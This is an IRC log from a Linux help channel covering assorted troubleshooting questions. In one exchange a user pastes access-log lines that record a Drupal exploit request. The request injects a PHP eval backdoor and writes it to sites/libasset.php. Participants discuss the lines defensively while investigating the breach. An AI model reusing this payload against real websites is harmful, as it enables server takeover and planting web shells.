07:36 < Dagmar> The proxy probably has it's own setting stashed away somewhere
07:36 < Penguin> Dagmar: "its"
07:36 < stevendale> Hey
07:37 < Dagmar> It _shouldn't_ because it makes no sense unless the thing was configured to log in a specific timezone
07:37 < p3rL> pm2 start proxy.js --name=proxy --log-date-format="YYYY-MM-DD HH:mm Z"
07:37 < p3rL> cant see any timezone
07:37 < p3rL> in this cmd
07:37 < Dagmar> It's logging in "zulu time"
07:38 < p3rL> how to change this
07:38 < p3rL> zulu time to my country time
07:38 < p3rL> or /etc/localtime
07:38 < Dagmar> If it's logging in UTC then you can use date to just convert those
07:38 < blaztek> p3rL: does: TZ=Asia/Qatar pm2 start proxy.js --name=proxy --log-date-format="YYYY-MM-DD HH:mm Z" work?
07:38 < topicali> p3rL: try this command: sudo dpkg-reconfigure tzdata
07:38 < Dagmar> But... it's not actually all that great an idea to store time-based information like that in a localized forma
07:39 < Dagmar> t
07:40 < topicali> or sudo timedatectl set-timezone <timeszone>
07:41 < topicali> to show the available timezones: timedatectl list-timezones
07:41 < p3rL> my timezone is changed in my vps
07:41 < Dagmar> Shouldn't be necessary.  /etc/localtime is _the_ thing that sets the timespec system wide
07:41 < p3rL> but its not changed in the proxy server
07:42 < Dagmar> No one in their right mind _doesn't_ use the glibc functions, and they read those files for you
07:44 < Dagmar> Frankly you should just be glad it doesn't use the weird ISO-spec format
07:44 < Dagmar> You can use the date command to actually convert those to your local timezone and vice-versa
07:46 < p3rL> oh GOD still paris time xD
07:46 < p3rL> am gonna kill it :|
07:54 < p3rL> finally i did it
07:54 < p3rL> tnx
07:54 < p3rL> : ))
07:54 < blaztek> awesome!
07:54 < sauvin> p3rL, "thanks", please.
07:55 < p3rL> Thanks
07:55 < p3rL> :)
08:12 < mattfury> i need a phone
08:12 < mattfury> or a computer for free
08:12 < mattfury> anyone want to give one away ?
08:12 < stevendale> mattfury: What for?
08:13 < jim> that's the way you do it... play guitar on the mtv... that's the way you do it... conputer for nuthin, phone for free
08:14 < mattfury> stevendale: so i can communicate
08:14 < bookworm> teenagers this days... gosh
08:14 < stevendale> When I was younger, I wanted something, I kept asking Jesus Christ for it, but it never came... so I stole one and asked for forgiveness instead
08:15 < bookworm> these*
08:15 < Pentode> several first world nations have programs where you can get free computers if you have no money... try one of those.
08:16 < bookworm> it left
08:16 < Pentode> oh good
08:17 < junka> stevendale; LOL
08:37 < Slimmy> So I want to solve a challenge. There is this elf file that needs a password to output me a flag. After using strace I have a suspicion about the passowrd. However it reads it as "pass\n" while password is probably pass. Any idas?
08:47 < geirha> it'll likely trim off that newline, but you won't see that in strace
08:50 < CrazyTux> hello, can SAP ERP be installed on CentOS? Only these platforms are supported by SAP and RHEL is one of them. https://wiki.scn.sap.com/wiki/display/ATopics/Supported+Platforms
08:50 < CrazyTux> I don't want the support. I just need to able to install and run the SAP ERP.
08:51 < ayecee> yes, but SAP won't support it if you do.
08:51 < ayecee> well then you're golden
08:51 < CrazyTux> ayecee, great.
08:51 < CrazyTux> thanks
08:51 < bipul> SAP support Suse Enterprise Linux.
08:52 < CrazyTux> bipul, can it be installed on OpenSuse Leap?
08:53 < CrazyTux> what could be the reason for SAP not supporting other platforms? other distros like Ubuntu, Debian etc?
08:54 < CrazyTux> those too are widely used Operating Systems.
08:54 < bipul> I am  not sure because  i have not used it. But i have seen most of the SAP products works well on Suse , after all German believes in the german product
09:04 < ayecee> something something german efficiency
09:05 < CrazyTux> ayecee, do you think OpenSuse is more efficient than others like Ubuntu and Debian?
09:06 < ayecee> i have no idea
09:06 < sauvin> I doubt it.
09:06 < novik> CrazyTux, SAP and SuSE's headquarters are right next to each other. They've been partners for a long time. SAP chooses SuSE not for technical reasons
09:06 < bipul> Or might be some business gain not to support other distros then RHEL and Suse.
09:07 < novik> And by the way, OpenSuse is not supported. Only SLES
09:08 < bipul> indeed.
09:08 < CrazyTux> ayecee, suppose you have to recommend a beginner friendly, secure distro for home and office use which one would you recommend? Opensuse or Mint?
09:09 < bipul> I would recommend OpenSuse.
09:09 < CrazyTux> bipul, any specific reasons?
09:10 < ayecee> CrazyTux: ubuntu, of course
09:10 < CrazyTux> ayecee, why? is Opensuse not beginner friendly? It has such things like Yast.
09:11 < ayecee> because i use ubuntu and i don't use opensuse
09:11 < bipul> A very helpful community + A great people + Visionary product that makes you learn a lot.
09:11 < ayecee> the source of most such recommendations
09:11 < bipul> Ubuntu is also great.
09:12 < CrazyTux> ok
09:12 < Biganon> Hi ; I liked using mount -a to mount everything (that doesn't have noauto) in /etc/fstab, the problem I have is one of the drives is a remote one, and it fails to mount at boot and therefore I can't boot
09:12 < Biganon> is there a ... failsilently option or sth like that ?
09:13 < ayecee> if there is, it's in the manpage
09:14 < Biganon> nofail ? I'll try that
09:15 < nai> is there a way to monitor ALL processes spawned on my system? basically every time a new process is created i want to get a line of output with its PID and name
09:16 < sujeet> nai:  id on't think you can get a hook for that, you'll have to poll with frequency
09:17 < Mikato> i got error with running ptp precission time control protocol, with yhis command  ptp4l -i ens192 -m -S i got driver rejected most general HWTSTAMP filter
09:18 < Mikato> sorry i mean with this command ptp4l -i ens192 -m -s
09:18 < nai> sujeet: the point is to catch processes that run for too short of a time to be detected, e.g. ":"
09:22 < sujeet> nai: maybe you can use inotifywait?
09:22 < sujeet> within /proc
09:23 < nai> oh, i'll try that
09:23 < sujeet> i'm not sure if it's supported for /proc or if it's a terrible idea, but it works the way you want
09:23 < sujeet> for regular files
09:24 < sauvin> I think I remember trying to use inotify on /proc without success.
09:26 < sujeet> if inotify spawns a new thread, it would be a terrible idea ;P
09:29 < Biganon> turns out I needed the _netdev option actually
09:32 < nai> sujeet: that doesn't seem to work
09:32 < nai> i'm using inotifywait -rm /proc
09:32 < nai> watches are established but i don't get any output
09:33 < sujeet> your experience seems to align with sauvin
09:33 < nai> or actually i do but it's not related to spawning processes
09:33 < nai> ah, i might have missed a few messages due to deconnection
09:34 < sujeet> nai: try a more specific directory
09:34 < sujeet>  /proc might be too big
09:34 < nai> sujeet: but i want to watch for new directories appearing in /proc
09:35 < sujeet> oh, ofc yeah
09:35 < nai> i think this is a terrible idea.
09:35 < sujeet> lol
09:37 < testman> is there any irc channel for Rocks Clusters Linux?
09:40 < zeffy> for ubuntu we have command dhclient
09:40 < zeffy> but for debian ?
09:40 < azarus> zeffy: dhclient is also available in debian
09:40 < azarus> might have to install it tough.
09:41 < zeffy> when i use command it says : RTNETLINK answers: File exists
09:41 < azarus> well, do you already have a lease?
09:41 < zeffy> i dont know what lease means..
09:41 < zeffy> im new to linux
09:41 < zeffy> try to learn it
09:42 < azarus> a "lease" is not specific to linux
09:42 < sujeet> testman: i don't think so but there's #hpc
09:42 < sujeet> perhaps some overlap for you
09:45 < CrazyTux> between KDE Plasma and Gnome 3 which is more resource hungry?
09:45 < zeffy> is there a chanel for newbee linux users ?
09:46 < Nussi> CrazyTux: that would be kde plasma IMO
09:47 < CrazyTux> Nussi, KDE uses more RAM,CPU and battery as compared to Gnome 3?
09:48 < Nussi> CrazyTux: I don't have the number, but it might be the case yeah
09:48 < cu_cucambur> How do I setup the nameserver on a bridge?
09:48 < lowin> When my HDD is mounted, something immediately read/writes to the drive as it tries to spin down, preventing the spindown. How do I catch the culprit? Nothing special is running on the hdd. it's a new external I just hooked up yesterday. The only thing is that it's encrypted with dm-crypt luks
09:49 < CrazyTux> ok
09:49 < hendrix> on my computer gnome 3 has noticeably worse fps than plasma
09:49 < azarus> cu_cucambur: 1. get on top of a bridge. 2. setup nameserver 3. ...? 4. Profit
09:50 < CrazyTux> hendrix, what?
09:51 < hendrix> frames per second
09:51 < CrazyTux> hendrix, what about the resource usage?
09:53 < hendrix> CrazyTux: haven't calculated ram or measured battery time or such
09:53 < CrazyTux> btw, how to maximize battery life on linux?
09:54 < hendrix> those are really not the desktops if you are interested or worried about that
09:54 < kopper> cu_cucambur: I've used dnsmasq and this https://jamielinux.com/docs/libvirt-networking-handbook/custom-routed-network.html
09:56 < CrazyTux> hendrix, then which desktops?
09:57 < daksdas> we
09:57 < daksdas> we
09:57 < daksdas> sepi
09:57 < daksdas> we
09:57 < daksdas> qe
09:57 < daksdas> jawab cok
09:58 < daksdas> e
09:58 < daksdas> w
09:58 < hendrix> CrazyTux: xfce,mate,lxde/qt etc.
09:59 < CrazyTux> hendrix, ok
10:02 < littlepython> how to find if a file system is read only?
10:02 < onla> using some tiling window manager might be less resource hungry, like i3
10:03 < onla> I have lubuntu that comes with lxde, and I installed i3 on top of that and use that as a window manager and it's more light than just using basic lubuntu
10:03 < onla> but there's a learning curve to tiling wm's
10:09 < geirha> littlepython: run   mount   and see if the filesystem entry is listed with the ro option
10:17 < milp_3> hi, are there any downsides if the deny/drop lists of iptables grow really huge over time?
10:18 < ayecee> yes
10:19 < ayecee> time to process a packet scales linearly with the number of rules to test against it.
10:22 < fofalee> when we write a compiler how do we compile it, for that architecture
10:22 < fofalee> as there is no compiler to compile for a new architecture
10:22 < milp_3> ok so i should probably modify ssh guard scripts so iptables -L doesnt take five minutes listing all blocked ips of the past years
10:23 < ayecee> fofalee: never to return, you said
10:23 < ayecee> drama queen
10:24 < fofalee> I have a doubt, how is the compiler compiled before there is none, for a new architecture-say arm raspberry pi
10:24 < milp_3> by hand?
10:24 < fofalee> how
10:24 < ayecee> one doesn't write a new compiler, one writes a new backend for the existing compiler.
10:24 < oiaohm> fofalee: ever heard of cross compliers.
10:24 < fofalee> no, hand doesn't work on the cpu
10:24 < phyrrus9> it's usually cross compiled at this point
10:24 < milp_3> i dont know, that was just a guess. but since compiling is translating it into machinecode, i guess humans could do that job too
10:25 < fofalee> dont know cross compiler
10:25 < ayecee> well then you have something new to learn about
10:25 < ayecee> that is exciting
10:25 < phyrrus9> early compilers were just small compilers that had enough functionality to compile the full compiler, and they were written in assembly
10:25 < oiaohm> fofalee: https://en.wikipedia.org/wiki/Cross_compiler
10:26 < oiaohm> fofalee: most days we don't have to start from scratch any more instead you start by building a cross complier on a platform that already works to make a binary for that platform then use that cross complier to make a native for that platform.
10:26 < milp_3> can anyone recommend some legal torrents that would benefit from more seeders? like some linux distros? im currently seeding the latest ubuntu and lxle
10:27 < fofalee> how do i learn cross compile
10:27 < fofalee> practically
10:28 < phyrrus9> cross compiling is as easy as regular compiling. You just need a cross compiler (an example is mingw-gcc or go-cross), and make sure you have a valid environment (libraries compiled for the target, frameworks, etc)
10:30 < fofalee> where is the tutorial on cross compiling, I'd like to compile as a hobby for fun
10:30 < fofalee> for my raspberry pi
10:30 < fofalee> arm
10:30 < phyrrus9> https://developer.arm.com/open-source/gnu-toolchain/gnu-rm/downloads
10:31 < phyrrus9> ARM has a toolchain you can download, or you can use something like aarch64-linux-gnu-gcc or arm-none-eabi-gcc
10:31 < fofalee> go-cross no such package on arch linux lol
10:31 < phyrrus9> it's an AUR package
10:32 < xandroid52> im i too young for being fullstack? im 17
10:32 < phyrrus9> go-cross, go-cross-all-platforms, go-cross-major-platforms
10:32 < ayecee> xandroid52: there's not an age limit on it
10:32 < phyrrus9> I had a hard time getting software dev jobs when I was 17. you have to prove a lot more than a 30 year old would, but it's possible
10:33 < ayecee> xandroid52: however it normally involves a fair amount of experience.
10:34 < xandroid52> ayecee, cool then, but i just think that when i try to find a job, i will be rejected bc "where do the kido learn xddd, o in his house, not worthy *throw him away from a window*"
10:34 < ayecee> xandroid52: look for junior positions
10:34 < phyrrus9> xandroid52: write very detailed cover letters and keep an active github page
10:34 < xandroid52> phyrrus9 , ayecee, thanks to all for the advices, i will do that
10:36 < fofalee> aur/go-cross-all-platforms 2:1.5-1 (1, 0.00)
10:36 < fofalee>     Compiler and tools for the Go programming language from Google (all supported platform)
10:36 < fofalee> does it work, but it seems for go language
10:37 < fofalee> i don't know go
10:37 < phyrrus9> it's for golang, yes. I had troubles building it on my machine (arch linux, 4.9) but I tweaked it and it built for what I needed it for. CGO has issues
10:37 < ayecee> tbh, even if i ran across some 17 year old wunderkind who claimed to be a full stack developer, i'd be skeptical. I don't think that's enough years of experience to see things fail, and to clean up from that failure.
10:38 < ayecee> could be an interesting junior though.
10:39 < phyrrus9> ayecee: I'd agree, I've been on the other end of that skepticism quite a few times. I think it all comes down to the quality of management, there's a lot of people I've worked with that have 10+ years experience and know absolutely nothing, and I've met extremely talented teenagers.
10:43 < kuri0> Is aarch64 ilp32 support merged into the mainline kernel ?
10:43 < CrazyTux> can CentOS be used for laptops and desktops? there are three options for CentOS download. https://www.centos.org/download/ . I don't quite understand what are they for?
10:43 < kuri0> if so how do I enable it in the kernel config
10:43 < ayecee> yes
10:43 < ayecee> to CrazyTux
10:43 < CrazyTux> shall I download Everything ISO?
10:44 < ayecee> sure, why not
10:44 < CrazyTux> ayecee, ok.
10:44 < ayecee> seems likely that the options are described somewhere, if you look
10:46 < CrazyTux> that Everything ISO is of 8.1 GBs.
10:47 < MrElendig> netinstall is prefered
10:47 < MrElendig> that way you don't have to download everything twice
10:47 < MrElendig> sidenote: centos is not a great desktop os
10:48 < CrazyTux> ok. I just needed a linux distro that I can install and run SAP ERP on. If I can install it on Ubuntu that is fine too.
10:49 < kuri0> ubuntu is better for most users
10:49 < kuri0> larger community and more frequent updates
10:49 < kuri0> but less stable for server stuff
10:49 < MrElendig> if it *requires* centos then you could run some better distro for the desktop, and use centos in a vm for SAP ERP
10:49 < MrElendig> whatever SAP ERP  is
10:49 < kuri0> containers are better than vms
10:50 < MrElendig> depends
10:50 < kuri0> you can pass x windows so its seamless
10:50 < CrazyTux> installing and running SAP ERP requires at least 200 GBs of disk space.
10:51 < MrElendig> 512gb ssd / 2tb spinning rust is fairly cheap these days
10:52 < CrazyTux> can I install Windows in Virtual Box and install SAP ERP on it considering that it requires 200 GBs of space?
10:52 < MrElendig> sure
10:52 < MrElendig> disk space is not a problem
10:53 < CrazyTux> I have a laptop that has 1 TBs HDD.
10:54 < MrElendig> 1024 > 200 so...
10:54 < CrazyTux> which version of Windows would you recommend to be installed in Virtual Box?
10:54 < MrElendig> 10
10:54 < CrazyTux> 32 bit or 64 bit?
10:54 < MrElendig> never 32bit
10:54 < TaZeR> u guys ever not able to copy and paste text from one place to another if its coming from a root terminal into a user notepad for example?
10:54 < CrazyTux> ok
10:55 < MrElendig> it is not 1998 anymore
10:55 < CrazyTux> the guy who is going to install that SAP ERP software doesn't know how to install it on a linux platform.
10:56 < CrazyTux> otherwise, I would prefer a linux distro, CentOS in VBox as well.
10:56 < MrElendig> if this is for some business then I suggest contacting someone professional to set this up
10:56 < CrazyTux> No. Just for educational purpose.
10:56 < kopper> "Just for casual ERPing"
10:57 < CrazyTux> for learning some ERP modules.
10:57 < CrazyTux> to be precise.
10:57 < MrElendig> "The worst purchase tracking software ever made. It never really works. When you think it does......you've fucked something up.
10:57 < MrElendig> I'm gonna make a software that should help make tracking purchases but in reality will cause people to not be able to finish their regular work. It shall be called ERP!
10:57 < MrElendig> -- urbandict
10:58 < paddy|> merci
10:58 < CrazyTux> lol
11:06 < djph> MrElendig: apparently he did call a professional ... who's never set it up on Linux
11:10 < anzipex> How to connect via ssh in nautilus without typing password? Should i use something like sshpass?
11:11 < first-order> Thinking of actually trying Slack all of a sudden, maybe in a VM to see if I can actually run it bare metal vs. Debian or Arch.
11:13 < first-order> Most likely will be primarily gunning for Debian or Arch, depending on what suits the hardware better, eg. Arch would suit the newest hardware better than stable Debian would due to newer software.
11:14 < first-order> While stable Debian is fine for 99.99% of all applications for the most part.
11:15 < MrElendig> anzipex: use keys
11:15 < MrElendig> anzipex: and a keyring, like gnome-keyring
11:15 < MrElendig> slackware is not a relevant distro anymore
11:16 < first-order> And uses a slightly older kernel than Stretch does.
11:16  * first-order could grab 4.14 from backports if so desired though.
11:17 < first-order> 4.9 seems to be doing the job fine considering this is fourth-gen hardware.
11:19 < first-order> And not too crazy about Gentoo's compile times unless it's being installed on hardware that can power through it like it's nothing.
11:20 < paddy|> i see
11:20 < first-order> Not going to try it on an i5-4310m.
11:20 < peetaur2> you say that like Gentoo makes compiling slower...but it's just that it forces you to compile too many things
11:21 < djph> isn't "compile all the things" kind of the point of gentoo?
11:21 < first-order> peetaur2, I'm mostly saying that it would be a pain to try on my current hardware.
11:21 < anzipex> MrElendig, well sshpass actually works well
11:21 < anzipex> sshpass -p password nautilus ssh://user@host/
11:22 < first-order> On something like an 8-core E5 of any generation from Sandy to present, I would have no problem trying Gentoo out because of knowing the CPU can breeze through compiling everything.
11:23 < paddy|> people have built gentoo on athlon32 machines without any moaning
11:23 < first-order> At least I'd hope, at 8c/16t.
11:23 < paddy|> your luxury problems are sad
11:23 < iflema> first-order: you dont sit around compiling all day... maybe on the day(s) you install the system
11:23 < iflema> if you test gentoo your mad
11:24 < first-order> Wouldn't entirely call a 4th-gen mobile i5 luxurious by any stretch.
11:24 < MrElendig> anzipex: you should not use passwords, you should use keys
11:24 < MrElendig> anzipex: only time you should use password auth with ssh, is with two factor from insecure devices
11:24 < first-order> A desktop i3 of the same generation can beat it.
11:25 < MrElendig> first-order: eh, not always, and not at the same freq
11:25 < MrElendig> the desktop i3 has not ht, unlike the mobile i5
11:26 < first-order> 4th-gen was hyperthreaded still.
11:26 < anzipex> MrElendig, hm.. can you write command example?
11:27 < MrElendig> https://wiki.archlinux.org/index.php/SSH_keys
11:29 < first-order> Taking these results with a grain of salt, but i3-4370 has a slight lead over my i5-4310m. https://www.cpubenchmark.net/compare/Intel-i3-4370-vs-Intel-i5-4310M/2351vs2235
11:31 < first-order> Next step up from my CPU doesn't bench much better.
11:31 < blaztek> first-order: because it’s 1 GHz higher?
11:31 < blaztek> The i3 I mean
11:32 < first-order> Or the i3's a desktop part and has bigger cores maybe vs. the i5.
11:32 < onla> Is there any explanation that on this one server running a web server some files were renamed or removed. There is no index.php but only index.php~ and also some other php files that only has the ~ at the end and not the actual file
11:33 < onla> this happened sometime last night
11:33 < first-order> Which is a mobile part.
11:33 < blaztek> onla: ~ means backup...the old one
11:34 < blaztek> first-order: makes sense. thank you!
11:34 < first-order> If I really wanted to make this laptop powerful, I'd need to do a board swap to a board that has a dGPU and thus supports a quad-core chip.
11:34 < onla> blaztek: what can make this happen?
11:36 < peetaur2> or just get a desktop and build there
11:36 < blaztek> onla: depends...did you upgrade your php stuff?
11:37 < MrElendig> onla: better check your auth logs
11:37 < onla> I am not responsible for the server. I tried asking the admin there that there is a 403 forbidden error on the page that did they update something before I checked what was going on. He just replied that index.php is missing. I guess I ask them again, if a php upgrade could remove index.php file
11:38 < onla> MrElendig: hmm ok, I'll ask them to check those too. What are auth logs btw, if I want to be more precise to them in the e-mail
11:38 < first-order> At that point, I could either grab one of these, https://www.ebay.com/itm/Dell-Precision-M6800-i7-4800MQ-2-70GHz-8GB-180GB-SSD-500GB-HDD-FirePro-M6100/123084437411?epid=1663085425&hash=item1ca86777a3:g:EBwAAOSwSlRa0rhx or an older E5 Thinkstation and a GTX1060, and get a machine that will destroy this E6440.
11:38 < blaztek> onla: it should have put a new index.php in it’s place
11:38 < MrElendig> onla: authentication, "who logged in when" etc
11:39 < MrElendig> upgrading php should not touch your site dirs
11:39 < onla> On that server there is a vulnerable drupal installation btw that we got notification some week or two ago
11:39 < blaztek> MrElendig: no, it shouldn’t. I meant the php app.
11:40 < onla> we didn't upgrade/move that vulnerable drupal yet because busy with other stuff. So maybe I should just ask about auth logs, if php upgrade wouldn't touch index.php or other files
11:40 < MrElendig> onla: you should hire extra staff to deal with security in a timely manner then
11:40 < onla> but this index.php was removed from a subdir, not the actual drupal installation dir
11:40 < MrElendig> or outsource it
11:40 < onla> yeh
11:41 < MrElendig> (or atleast change policy to security > *)
11:43 < onla> oh wait, there are some logs provided in the admin panel at the webhotel. I'll check those first
11:44 < MrElendig> my experience with web hotels is that they are usually even worse at security than their customers :p
11:54 < onla> suspicious stuff at the log! I guess someone penetrated this vulnerable drupal. I just downloaded the whole drupal to my ubuntu disk. I wonder if I downloaded some malicious code too and I should remove them and work with them only at some disk that's not my home computer and I know what I am doing
11:55 < onla> 83.220.169.119 - - [19/Apr/2018:02:36:14 +0300] "POST /?q=user/password&name%5B%23suffix%5D=%3C%3Fphp+if%28%40isset%28%24_SERVER%5BHTTP_15E2D%5D%29%29%7B%40eval%28base64_decode%28%24_SERVER%5BHTTP_15E2D%5D%29%29%3B%7Dexit%3B%3F%3E&name%5B%23markup%5D=sites%2Flibasset.php&name%5B%23type%5D=markup&name%5B%23post_render%5D%5Bpost%5D=file_put_contents HTTP/1.1" 200 3618 "-" "Mozilla/5.0 (compatible; MSIE 9.0;
11:55 < onla> Windows NT 6.1; Trident/5.0)"
11:55 < onla> 83.220.169.119 - - [19/Apr/2018:02:36:15 +0300] "POST /?q=file%2Fajax%2Fname%2F%23value%2Fform-WjRjjVGshRnP3u4FpftxVEZK90KRFii6SsmtIc3F_cE HTTP/1.1" 200 1628 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
11:55 < onla> These couple lines seem weird. Usually there are just GET events
11:56 < djph> looks like a login event ...
11:58 < onla> hmm ok. can you tell from those lines that the login was succesful? I can try verify if someone from the known users tried logging in at that time
11:59 < djph> onla: no idea, although the '200' is usually an "all's well" response
11:59 < onla> that ip only after those 2 lines did one GET event for  /sites/libasset.php then next events are 30 mins later from bingbot and google bots etc
12:07 < onla> I just logged into the website using the <url>/user page (basic drupal login page) and it adds much more lines to the log file and the POST line looks way different too: 2001:999:40:d482:9992:1990:51bd:b6a1 - - [19/Apr/2018:13:02:10 +0300] "POST /user HTTP/1.1" 302 541 "<url>/user" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) QtWebEngine/5.9.3 Chrome/56.0.2924.122 Safari/537.36"
12:08 < onla> much less info
12:09 < peetaur2> onla: when unsure, quarantine any executable code (which could be in buffer overflows in jpeg files, etc. too)
12:17 < loganlee> hmmmm
12:24 < p3rL> any one know how to load sopel modules
12:27 < loganlee> linux is cool...
12:27 < Myrl-saki> Is there a soft limit per-process RAM usage?
12:28 < Myrl-saki> One of my processes just got OOME'd when the process's RAM usage was 75% of the total
12:29 < MrElendig> that can be configured
12:29 < loganlee> hmmmmm
12:30 < loganlee> my desktop manager got stuck with a crappy version of openstep :(
12:30 < Myrl-saki> My `ulimit -a` gives me 16 GiB.
12:30 < loganlee> oh well...
12:30 < Myrl-saki> -l: locked-in-memory size (kbytes)  16384
12:31 < Myrl-saki> Oh wait, that's 16 MiB?
12:31 < Myrl-saki> But that doesn't look like RAM limit to me
12:34 < hiya> I am using Debian GNU/Linux with i5-4th gen processor based laptop with 4 GB RAm, I just upgraded to Samsung EVO SSD, it is quite fast now, but I want to know my Memory [RAM] uses is always 90percent above and is touching 97percent frequently. Also I see gedit and terminal missing or automatically closed at times. Could it be the reason? Should I get 8GB Ram now?
12:35 < BCMM> hiya: what measure of "used" ram are you using?
12:35 < tomato> hiya: 4GB should be more than enough, are you running any memory-heavy applications?
12:35 < BCMM> hiya: it it actual memory usage, or is it this problem? https://www.linuxatemyram.com/
12:37 < hiya> tomato, BCMM my RAM uses is up and down frequently from 3.4 to 3.65 GB out of 3.8 GB RAM in total, just now i checked with free -m and I got 144 MB available
12:38 < BCMM> hiya: ah, as long as you're looking at "available" instead of "free", what I said above does not apply
12:38 < hiya> tomato, I am using Firefox (with skype,youtube), Thunderbird, Hexchat, Tor(command line service not browser) all the time
12:38 < BCMM> hiya: if you hit 100% used memory, and something tries to allocate memory, an application will be automatically killed to free up memory
12:39 < BCMM> hiya: so that could very well be why gedit is quitting. when this happens, there should be a record of it in dmesg
12:39 < djph> BCMM: well, swap, then oom killer
12:39 < tomato> hiya: the "skype, youtube" part may be what's filling your memory
12:39 < hiya> BCMM, So that is why my terminal and gedit is missing at times when I wake up next morning
12:39 < BCMM> hiya: yes, as djph says, when i said "memory" above, that includes ram *and* any swap that's available
12:40 < BCMM> hiya: well, you can check dmesg to be sure
12:41 < BCMM> hiya: dmesg | grep "Killed process" should show it
12:41 < hiya> What should I grep from
12:41 < hiya> ok
12:41 < hiya> There is nothing right now
12:41 < hiya> Does it clear it because I rebooted?
12:41 < BCMM> yes
12:42 < hiya> # dmesg | grep kill
12:42 < hiya> [76497.295886] OOM killer disabled.
12:42 < hiya> [76498.543649] OOM killer enabled.
12:42 < hiya> Does this count?
12:44 < BCMM> huh, i wonder what did that
12:44 < noodlepie> grep -i for case insensitivity
12:44 < BCMM> disabled it and then enabled again a moment later?
12:44 < BCMM> hiya: yeah, try grep -i. it uses "Killed" not "killed"
12:45 < BCMM> hiya: by the way, have you checked what's actually using up your memory? the usage you described doesn't sound like it should be that heavy, unless you have a *lot* of tabs in firefox
12:46 < hiya> BCMM, Nothing but in System Monitor I see a Process Name called 'Web Content' with address 'firefox -contentproc childID .....' eating up 1.5GB I am not using youtube right now and I never did audio or video calls on skype, its just for text
12:47 < BCMM> hiya: yeah, firefox launches multiple processes now, for sandboxing and efficient parallelism on multi-core machines
12:48 < BCMM> hiya: oh, do you use adblock plus?
12:48 < hiya> BCMM, it takes 1.5GB? I use ublock?
12:48 < hiya> ublock origin
12:48 < BCMM> hiya: ublock is fine.
12:48 < BCMM> hiya: adp is known to use masses of ram+cpu
12:48 < hiya> Omg its 2GB right now
12:48 < BCMM> abp
12:48 < hiya> 1.7GB now
12:52 < aaa_> bcmm
12:55 < hiya> BCMM, https://media.vakil.win/u/manish/m/firefox-webcontent/
12:55 < hiya> See the image
13:07 < gamma> a~.
13:07 < loganlee> hi gamma
13:07 < gamma> Oops
13:08 < loganlee> we have 2000 people here but very quiet
13:10 < revel> Are all of them people though?
13:11 < loganlee> no idea
13:12 < paddy|> me too
13:13 < AlexCDev> Does Posix Fork() also clone all the threads of a multithreading process?
13:13 < revel> I haven't seen a lot of them ever chat and it's not entirely impossible that a large chunk of them is just forgotten bouncers.
13:14 < funksh0n> Hi all.
13:14 < AlexCDev> funksh0n: o/
13:15 < xandroid52> I have a question, im newbei at linux but i learn fast, would you recommend me archlinux?
13:15 < loganlee> i just use debian on virtualbox
13:16 < funksh0n> xandroid52 if you are happy to sit down with a manual and probably fail several times at just getting it installed, then yes :)
13:16 < funksh0n> I did so a couple of years ago and I've never looked back.
13:16 < xandroid52> funksh0n that doesnt motivate me, but dont stop me neither
13:17 < xandroid52> funksh0n, so you are saying that if i install arch linux i will have problems bc im newbie... mmm...probabbly, but i will try it anyway, i was told that with every distro of linux you can do whatever you want, and i m pretty sure that is right, but arch linux...i think...it may be designed for some purpose, do you know what is that purpose?
13:18 < xandroid52> That was my last question
13:18 < funksh0n> I'm saying that you will learn a lot, but there's a chance that you will break it a few times - but that's fun!
13:19 < alexandre9099> hi, why it isn't possible to mount veracrypt files as a normal user (without root access)?
13:19 < xandroid52> funksh0n i like you, that is 100% accurate, if you dont fail, you dont learn, or maybe you will learn if you dont fail too , but its more fun to fail xD
13:20 < funksh0n> alexandre9099: this should not be the case, unless you don't have permissions to access the container.
13:20 < funksh0n> If you own the veracrypt file you should be able to open it.
13:20 < alexandre9099> veracrypt asks for the administator password :/
13:20 < alexandre9099> and i have permissions to read it
13:21 < funksh0n> veracrypt itself when you launch it, or the just when you try to mount?
13:21 < alexandre9099> when trying to mount
13:21 < alexandre9099> "Enter your user password or administrator password"
13:21 < alexandre9099> i assume that it is trying to elevate priviledges
13:22 < funksh0n> I do not get that behavior, it lets me run veracrypt and mount wihtout issue
13:23 < AlexCDev> Is it trying to decrypt the volume with the password?
13:23 < funksh0n> try changing the permission of the mountpoint?
13:23 < AlexCDev> as opposed to trying to elevate privleges
13:23 < xandroid52> funksh0n ok, i saw the installation guide, goodbye i will run debian, xsxsxssxss
13:23 < funksh0n> haha
13:23 < funksh0n> have fun xandroid52
13:23 < AlexCDev> xandroid52: Install Kubuntu <3<3<3
13:23 < AlexCDev> KDE is lovely
13:23 < alexandre9099> AlexCDev, it first asks for the container password and then admin password
13:24 < alexandre9099> i'll check files permissions
13:24 < funksh0n> alexandre9099: check permissions of the container and the mountpoint
13:24 < xandroid52> funksh0n thank you, same for u dasvidaniya
13:24 < AlexCDev> alexandre9099: ah, ok
13:24 < AlexCDev> ¯\_(ツ)_/¯
13:24 < xandroid52> alexcdev i rather xfce
13:24 < funksh0n> i3 <3
13:24 < AlexCDev> funksh0n: blasphemy
13:24 < rangergord> anyone here using ZeroTier? (like Hamachi, but works on Linux too)  How good is it?
13:25 < loganlee> restarted my machine
13:26 < alexandre9099> funksh0n AlexCDev yep, i have rw permission both my file and mountpoint (both the container and the mount point are inside a NTFS disk, not sure if that makes any difference)
13:28 < Rembo> hello everyone, i have the following issue, can someone help? https://pastebin.com/iRfktytt
13:30 < oiaohm> alexandre9099: there are odities with permissions and NTFS and Linux time to time.   Also particular features some native Linux applications can support NTFS mounted under Linux does not support.
13:31 < oiaohm> alexandre9099: I know the NTFS feature limitation from people attemting to run programs under wine on NTFS and it fail and having the same application installed on ext4 work perfectly.
13:31 < alexandre9099> oiaohm, i never had problems runnining games from an NTFS drive
13:31 < FreeFull> It always feels great when X11 crashes
13:31 < FreeFull> For me it's sometimes (but not usually) when I've suspended the laptop
13:31 < oiaohm> alexandre9099: Luck.
13:32 < alexandre9099> :D might it be the problem, how can i debug this?
13:32 < oiaohm> alexandre9099: its particular programs cause wine to need particular features that NTFS drivers under Linux does not support and program breaks.
13:33 < oiaohm> alexandre9099: I would normally say test in a ext4 or other highly support file systems to rule it out.
13:33 < alexandre9099> hmm, i might create a small file just to test
13:36 < funksh0n> alexandre9099: is switching to fat32 an option?
13:36 < alexandre9099> hmm fat32 has 4GB limit of files, right?
13:36 < oiaohm> alexandre9099: fat32 is worse than ntfs for feature support.
13:38 < funksh0n> exfat maybe?
13:38 < oiaohm> funksh0n: no worse
